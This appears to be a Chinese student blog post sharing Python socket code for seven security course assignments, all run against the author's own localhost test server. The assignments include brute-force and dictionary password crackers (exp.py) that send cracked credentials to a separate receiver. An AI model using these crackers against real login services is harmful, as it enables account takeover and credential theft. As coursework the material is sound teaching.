记安全课程设计
其实这个前几天就写完了 由于太忙 就给忘了
晚上看见群里有人说课程紧张 不是很好写
就"开(ban)源(yun)"分享下简单思路吧
切记不要直接拿源码提交实验报告 至少自己要有改动 至少加入点自己的思考
当然目前部分程序还存在bug尚未解决 欢迎私信讨论
题目一:暴力破解密码
要求:1、设计一个信息系统,该系统可为学籍管理系统、订餐系统、票务管理系统不限,系统必须通过客户端录入账号口令远程登录;
2、系统内至少包含三个以上账号,密码为6位以上数字组成;
3、设计程序在该系统所在服务器端进行暴力密码破解,破解后将账号密码通过套接字发送出去;
4、在客户端用破解得到的账号口令进行登录,验证破解成功。
#client.py
import socket,os
c=socket.socket()
#连接服务端,服务端ip地址:127.0.0.1,端口:1216
c.connect(('127.0.0.1',1216))
while 1:
uspw=input("输入账号和密码,空格隔开:")
#发送账号密码给服务端
c.send(uspw.encode())
#接收服务端返回信息
receive=c.recv(1).decode()
if receive=="T":
print("登录成功")
break
else:
print("用户名或密码错误")
c.close()
os.system("pause")
#sever.py
import socket,os
#创建套接字
s=socket.socket()
#设置关闭套接字时立刻释放端口
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
#绑定服务端端口
s.bind(('',1216))
#开始监听
s.listen(1)
#账号和密码
user={
"admin":"123456","user":"1234567","guest":"123456","baili":"123456"}
#接收连接的客户端的信息
sock,addr=s.accept()
print(addr[0]+"已连接")
while 1:
#接收客户端发送的信息
receive=sock.recv(1024).decode()
receive=receive.split()
#判断账号密码是否正确,正确发送T,错误发送F
if user[receive[0]]==receive[1]:
sock.send("T".encode())
break
else:
sock.send("F".encode())
sock.close()
s.close()
os.system("pause")
#exp.py
import socket,os
import time
p=socket.socket()
p.connect(('127.0.0.1',1216))
us=input("输入要破解的用户名:")
a=input("请输入从那个数开始爆破:")
b=input("请输入从那个数结束爆破:")
a=int(a)
b=int(b)
while 1:
#读取一行
for i in range(a,b):
pasd=i
#拼接用户名和密码
pasd = str(pasd)
time.sleep(0.1)
print("正在尝试破解---当前正在尝试的登录密码是---"+pasd)
sed=us+' '+pasd
#发送给服务端
p.send(sed.encode())
rec=p.recv(1).decode()
#服务端返回T说明密码正确
if rec=="T":
print("恭喜!成功破解密码!密码是:",pasd)
break
p.close()
#发送给密码接收器
p=socket.socket()
p.connect(('127.0.0.1',1014))
pasd="密码是:"+pasd
p.send(pasd.encode())
p.close()
os.system("pause")
#recive_password.py
import socket,os
#coding=utf-8
p=socket.socket()
p.bind(('127.0.0.1',1014))
p.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
p.listen(1)
pr,ip=p.accept()
print("正在接收密码...")
passwd=pr.recv(1024).decode()
#接收破解器发送的信息
print(passwd)
p.close()
os.system("pause")
运行截图如下
题目二:字典破解密码
要求:1、设计一个信息系统,该系统可为学籍管理系统、订餐系统、票务管理系统不限,系统必须通过客户端录入账号口令远程登录;
2、系统内至少包含三个以上账号,密码为6位以上任意字符组成;
3、设计程序设计程序在该系统所在服务器端进行字典密码破解,破解后将账号密码通过套接字发送出去;
#client.py
import socket,os
c=socket.socket()
#连接服务端,服务端ip地址:127.0.0.1,端口:1216
c.connect(('127.0.0.1',1216))
while 1:
uspw=input("输入账号和密码,空格隔开:")
#发送账号密码给服务端
c.send(uspw.encode())
#接收服务端返回信息
receive=c.recv(1).decode()
if receive=="T":
print("登录成功")
break
c.close()
os.system("pause")
#sever.py
import socket,os
#创建套接字
s=socket.socket()
#设置关闭套接字时立刻释放端口
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
#绑定服务端端口
s.bind(('',1216))
#开始监听
s.listen(1)
#账号和密码
user={
"admin":"123456","user":"1234567","guest":"123456","baili":"123456"}
#接收连接的客户端的信息
sock,addr=s.accept()
print(addr[0]+"已连接")
while 1:
#接收客户端发送的信息
receive=sock.recv(1024).decode()
receive=receive.split()
#判断账号密码是否正确,正确发送T,错误发送F
if user[receive[0]]==receive[1]:
sock.send("T".encode())
break
else:
sock.send("F".encode())
sock.close()
s.close()
os.system("pause")
#exp.py
import socket,os
import time
p=socket.socket()
p.connect(('127.0.0.1',1216))
us=input("输入要破解的用户名:")
file=input("输入字典文件名:")
#只读方式打开字典文件
dic=open(file,'r')
while 1:
#读取一行
pasd=dic.readline()
time.sleep(0.1)
print("正在尝试破解---当前正在尝试的登录密码是---"+pasd)
#拼接用户名和密码
sed=us+' '+pasd
#发送给服务端
p.send(sed.encode())
rec=p.recv(1).decode()
#服务端返回T说明密码正确
if rec=="T":
print("恭喜!成功破解密码!密码是:",pasd)
break
p.close()
#发送给密码接收器
p=socket.socket()
p.connect(('127.0.0.1',1014))
pasd="密码是:"+pasd
p.send(pasd.encode())
p.close()
os.system("pause")
#recive_password.py
import socket,os
#coding=utf-8
p=socket.socket()
p.bind(('127.0.0.1',1014))
p.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
p.listen(1)
pr,ip=p.accept()
print("正在接收密码...")
passwd=pr.recv(1024).decode()
#接收破解器发送的信息
print(passwd)
p.close()
os.system("pause")
这里需要内置字典
#pass.txt
1
12
123
1234
12345
123456
666666
运行截图如下
题目三:认证审计系统
要求:1、设计一个信息系统,系统必须通过客户端录入账号口令远程登录;;
2、系统内至少包含三个以上账号;
3、某账号登录后服务器端可实时显示该账号登录的时间及IP信息;
4、服务器端可查询账号的历史登录信息。
#client.py
import socket
c=socket.socket()
c.connect(("127.0.0.1",1216))
user=input("输入用户名和密码,用空格隔开:")
while True:
#发送账号和密码
c.send(user.encode())
#接收服务端发送的信息,python3发送信息需要加encode()
#接收消息需要加decode()
recive=c.recv(1024).decode()
if "成功" in recive:
break
print(recive)
user=input()
print(recive)
while True:
temp=input("输入发送的内容:")
c.send(temp.encode())
if temp=="exit":
break
c.close()
#sever.py
import socket
import datetime
#允许登录的账号和密码
user={
"admin":"123456","user":"1234567","guest":"123456","baili":"123456"}
#创建套接字
s=socket.socket()
#服务端结束运行时立刻归还端口
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
#绑定服务器地址,端口
s.bind(("127.0.0.1",1216))
#开始监听客户端请求
s.listen(1)
#保存客户端请求的信息
print("等待客户端连接……")
sock, ip = s.accept()
print("已建立初步连接, 验证身份中……")
while True:
receive=sock.recv(1024).decode()
ls=receive.split()
try:
if user[ls[0]] == ls[1]:
print("登录成功")
sock.send("登录成功!".encode())
user = ls[0]
with open('login_history.txt', 'a+') as f:
f.write('登录用户: ' + str(user) + '---登陆时间: ' + str(datetime.datetime.now()) +'---登陆IP: ' + str(ip) + '\n')
while True:
print("当前客户端登录id信息:",ip,"当前登录时间:",datetime.datetime.now())
while True:
#接收客户端发送的内容
receive = sock.recv(1024).decode()
if receive == "exit":
break
else:
sock.send("账户或密码错误!".encode())
continue
except:
sock.send("重新输入:".encode())
continue
break
sock.close()
s.close()
运行截图如下
题目四:数据嗅探系统
要求:1、 设计一个信息系统,系统必须通过客户端录入账号口令远程登录;
2、 登录后客户端可通过键盘输入向服务器发送数据;
3、 服务器端设置嗅探关键字,如果客户端发送的数据包含该关键字,即将该数据显示出来。
#client.py
import socket
c=socket.socket()
c.connect(("127.0.0.1",1216))
user=input("输入用户名和密码,用空格隔开:")
while True:
#发送账号和密码
c.send(user.encode())
#接收服务端发送的信息,python3发送信息需要加encode()
#接收消息需要加decode()
recive=c.recv(1024).decode()
if "成功" in recive:
break
print(recive)
user=input()
print(recive)
while True:
temp=input("输入发送的内容:")
c.send(temp.encode())
if temp=="exit":
break
c.close()
#sever.py
import socket
#允许登录的账号和密码
user={
"admin":"1234"}
#创建套接字
s=socket.socket()
#服务端结束运行时立刻归还端口
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
#绑定服务器地址,端口
s.bind(("127.0.0.1",1216))
#开始监听客户端请求
s.listen(1)
#保存客户端请求的信息
print("等待客户端连接……")
sock, ip = s.accept()
print("已建立初步连接, 验证身份中……")
print("Client-IP:",ip)
while True:
receive=sock.recv(1024).decode()
ls=receive.split()
try:
if user[ls[0]] == ls[1]:
sock.send("登录成功!".encode())
while True:
#接收客户端发送的内容
receive = sock.recv(1024).decode()
if receive == "exit":
break
#输入包含关键字"密码"的信息
if "密码" in receive:
print("成功嗅探到关键字:"+receive)
else:
sock.send("账户或密码错误!".encode())
continue
except:
sock.send("重新输入:".encode())
continue
break
sock.close()
s.close()
运行截图如下
题目五:防火墙系统
要求:1、 设计一个信息系统,系统必须通过客户端录入账号口令远程登录;
2、 系统内至少包含三个以上账号;
3、 系统服务器端可设定禁止登录的IP地址和账号信息;
4、 如果客户端从禁止的IP地址登录或使用禁止的账号登录则显示不允许登录,并断开连接。
#client.py
import socket
#根据计算机名获取本地IP
host = "127.0.0.1"
port = 1216
bufSize = 1024
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.connect((host, port)) #进行连接
userName = input("输入用户名:")
cs.send(userName.encode())
passWord = input("输入密码:")
cs.send(passWord.encode())
data = cs.recv(bufSize).decode()
if data != "successful":
print(data)
cs.close()
else:
print("成功建立稳定连接!")
while True:
data = input("输入对话信息(exit表示结束): ")
if data == "exit":
break
else:
cs.send(data.encode())
data = cs.recv(bufSize).decode()
print("收到:", data)
cs.close()
#sever.py
import socket
user = {
"admin": "1234","baili": "1216","test": "123","test2": "123"}
#user = {"admin": "1234"} 可以在user字典中继续添加新用户 格式为键值对
limitUser = {
"abcd": "123", "qwer": "456", "wasd": "789"} #限制登录的用户及密码
#limitIp = []
#当前限制为空
limitIp = ["127.0.0.1"] #限制登录的IP地址 格式为列表格式
host = "127.0.0.1" #服务端IP地址
port = 1216 #服务端开放端口
bufSize = 1024 #缓存区字节大小
ss = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建套接字
ss.bind((host, port))
ss.listen(5)
while True:
print("等待客户端连接……")
cs, addr = ss.accept()
print("已建立初步连接, 验证身份中……")
userName = cs.recv(bufSize).decode()
print("userName: ", userName)
passWord = cs.recv(bufSize).decode()
print("passWord: ", passWord)
#判断IP地址是否被限制
if addr[0] in limitIp:
print("收到限制IP的连接请求,已拒绝!")
cs.send("此IP限制登录,已断开连接".encode())
#判断账户是否被限制
elif userName in limitUser:
if limitUser[userName] == passWord:
print("收到限制用户的连接请求,已拒绝!")
cs.send("此用户限制登录,已断开连接".encode())
else:
print("密码有误,已断开连接")
cs.send("密码有误,已断开连接".encode())
#判断账户是否被允许连接
elif ((userName in user) == 0) or (user[userName] != passWord):
print("收到用户的连接请求,账户密码不匹配,已拒绝!")
cs.send("账户密码不匹配,已断开连接".encode())
else:
print("成功接收到连接,来自:", addr)
#返回身份验证成功信号
cs.send("successful".encode())
#开始进行信息交互
while True:
data = cs.recv(bufSize).decode()
if data == "exit":
break
else:
print("收到:", data)
cs.send((data.center(40, "*")).encode())
cs.close()
ss.close()
运行截图如下
题目六:加密传输系统
要求:1、 设计客户端程序向服务器端发送数据;
2、 客户端从键盘输入的数据在发送之前进行加密,加密方法可选择仿射、移位密码;
3、 服务器端接收到数据后进行显示,然后在解密后再次显示。
#client.py
import socket
#创建一个客户端的socket对象
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#设置服务端的ip地址
host = "127.0.0.1"
#设置端口
port = 1216
#连接服务端
client.connect((host, port))
#while循环是为了保证能持续进行对话
while True:
#输入发送的消息
sendmsg = input("请输入数据:")
shift = 3
l = []
for i in sendmsg:
i=ord(i)
i = ((i + shift)-97)%26+97
i = chr(i)
l.append(i)
sendmsg = ''.join(l)
#发送数据,以二进制的形式发送数据,所以需要进行编码
client.send(sendmsg.encode("utf-8"))
client.close()
#sever.py
import socket
#创建服务端的socket对象socketserver
socketserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '127.0.0.1'
port = 1216
#绑定地址(包括ip地址会端口号)
socketserver.bind((host, port))
#设置监听
socketserver.listen(5)
#等待客户端的连接
#注意:accept()函数会返回一个元组
#元素1为客户端的socket对象,元素2为客户端的地址(ip地址,端口号)
print("等待客户端连接……")
clientsocket,addr = socketserver.accept()
print("已建立初步连接, 开始数据传输……")
#while循环是为了能让对话一直进行,直到客户端输入q
while True:
#接收客户端的请求
recvmsg = clientsocket.recv(1024)
#把接收到的数据进行解码
strData = recvmsg.decode("utf-8")
print("收到密文:"+strData)
shift=3
l = []
for i in strData:
i=ord(i)
i = ((i - shift)-97)%26+97
i = chr(i)
l.append(i)
#print(i,end='')
strData = ''.join(l)
print("解密后得:"+strData)
运行截图如下
题目七:图形验证模拟
要求:1、开发一个手机锁屏的图形验证程序,以字符命令行形式来实现要求完成的功能有:
2、 登录时输入用户名;
3、 输入4*4坐标下的图形点位置,用字符方式输入;
4、 输入完成后实现在服务器端对图形进行验证;
5、 至少有三个以上的用户验证。
#client.py
import socket,os
import re
import time
c=socket.socket()
#连接服务端,服务端ip地址:127.0.0.1,端口:1216
c.connect(('127.0.0.1',1216))
uspw=input("请输入账号:")
c.send(uspw.encode())
list = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
rr = re.compile('[1-9]\d*',re.S) # 不区分大小写
xx = "0000000000000000"
print("请输入验证图形:")
time.sleep(0.5)
print("待所有验证图形输入完后 输入:verify开始验证")
while 1:
t=input("输入格式为set(a,b)\n")
if t == "verify":
list=map(str,list)
xx = "".join(list)
c.send(xx.encode())
receive=c.recv(1).decode()
#接收服务端返回信息
if receive=="T":
print("登录成功")
break
else :
print("用户名或者图形验证错误")
print("请重新图形验证")
list = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
else:
x = rr.findall(t)
sum = (int(x[0])-1)*4 + int(x[1])-1
#t=input("请输入:\n输入格式为set(a,b)\n")
sum = int(sum)
list[sum]=1
for i in range(0,16):
if list[i] == 0:
print("o",end="")
else:
print("x",end="")
if i%4==3:
print("")
c.close()
os.system("pause")
#sever.py
import socket,os
#创建套接字
s=socket.socket()
#设置关闭套接字时立刻释放端口
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
#绑定服务端端口
s.bind(('',1216))
#开始监听
s.listen(1)
#账号和密码
user={
"admin":"1000100010001000","user":"1000010000100001","guest":"0000000000000000","baili":"1111000000000000"}
#接收连接的客户端的信息
sock,addr=s.accept()
print(addr[0]+"已连接")
receive_user=sock.recv(1024).decode()
while 1:
#接收客户端发送的信息
receive_pass=sock.recv(1024).decode()
#判断账号密码是否正确,正确发送T,错误发送F
if user[receive_user]==receive_pass:
sock.send("T".encode())
print("验证通过")
break
else:
sock.send("F".encode())
sock.close()
s.close()
os.system("pause")